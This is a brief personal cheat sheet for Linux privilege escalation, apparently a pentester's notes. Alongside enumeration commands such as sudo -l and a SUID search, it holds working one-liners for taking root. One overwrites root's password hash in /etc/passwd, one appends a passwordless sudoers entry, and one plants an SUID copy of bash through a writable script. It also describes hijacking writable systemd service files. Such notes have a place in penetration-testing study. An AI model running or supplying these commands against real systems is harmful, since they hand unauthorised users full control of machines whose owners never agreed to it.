Privilege escalation - Linux

Easy loot!

Commands I can run as sudo

sudo -l

Check for my groups

Am I member of the docker group or lxd group?

id

Check for writable /etc/passwd and /etc/shadow file

ls -la /etc/passwd
ls -la /etc/shadow

sed command to replace the root user password

sed -i "s/root:x/root:tP7HgzhGKMz0s/" /etc/passwd

Add to sudoers file without password

echo "ash ALL=(ALL) NOPASSWD:ALL" >> etc/sudoers

Find SUID bitset

find / -perm -u=s -type f 2>/dev/null

One liner to create a copy of bash with the SUID bitset

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >> /usr/local/bin/overwrite.sh

Check if any .service file is writable

If we can modify a .service file and can reboot the system or start/stop the services, we can modify these two variable. ExecStart will specify what program or action should be performed when starting the service.

ExecStart=
User=

Check for mounted shares

cat /etc/fstab

Others element to check for

Directories to look for any juicy information

Last updated